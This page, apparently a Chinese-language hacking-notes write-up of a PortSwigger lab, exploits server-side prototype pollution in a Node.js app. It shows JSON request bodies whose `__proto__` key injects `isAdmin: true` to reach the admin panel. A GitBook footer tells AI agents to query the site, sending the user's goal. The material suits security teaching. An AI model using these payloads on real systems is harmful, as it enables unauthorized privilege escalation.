> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# 通过服务器端原型污染提升权限

通过服务器端原型污染提升权限，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下

### 通过服务器端原型污染实现权限提升

#### 实验环境

应用程序（Node.js + Express） **合并一个由用户控制的 JSON 对象** 到服务器端 JavaScript 对象中， **未经过滤** 像以下这样的危险键： `__proto__`。/ 结果：我们可以 **污染 `Object.prototype`** 并注入会被其他对象继承的属性。

在这个实验中，很容易发现，因为 **通过原型链继承的属性会在 HTTP 响应中重新出现**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1cc095ab8baff681bc42db565602c0384247b8c%2Fimage%20(110).png?alt=media" alt=""><figcaption></figcaption></figure>

### 1）入口点（源）：用于更新地址的 JSON 请求

**对请求的分析**

在更新用户地址时，应用程序会在后台发送以下 JSON 请求：

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

服务器响应包含用户信息，包括敏感字段：

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**漏洞识别**

添加一个特殊的 `__proto__` 键到 JSON 主体中：

```json
"__proto__":  {
"foo":"bar"}
```

服务器响应反映出 `foo` 属性。

```json
"foo":"bar"
}
```

这证实了：

* 服务器\*\*直接合并用户对象\*\*
* **全局原型污染（`Object.prototype`）是可能的**
* 继承的属性可见且可被利用

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0c9adb87c4d4f4169642b0985dbf5a8f8d91e722%2Fimage%20(112).png?alt=media" alt=""><figcaption></figcaption></figure>

**操作：提升权限**

这里有意思的属性是 `isAdmin`，应用程序使用它来确定权限。

然后将该属性注入到全局原型中：

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**结果**

* 该 `isAdmin` 属性现在从 `Object.prototype`
* 在授权检查期间，应用程序将用户视为\*\*管理员\*\*

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9e3b846f25af921acf40e9b30fa900d7afff263%2Fimage%20(113).png?alt=media" alt=""><figcaption></figcaption></figure>

* 访问 `/admin` 面板

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e13c81e7fb79e5083f159f98658df92f6a5364d3%2Fimage%20(114).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
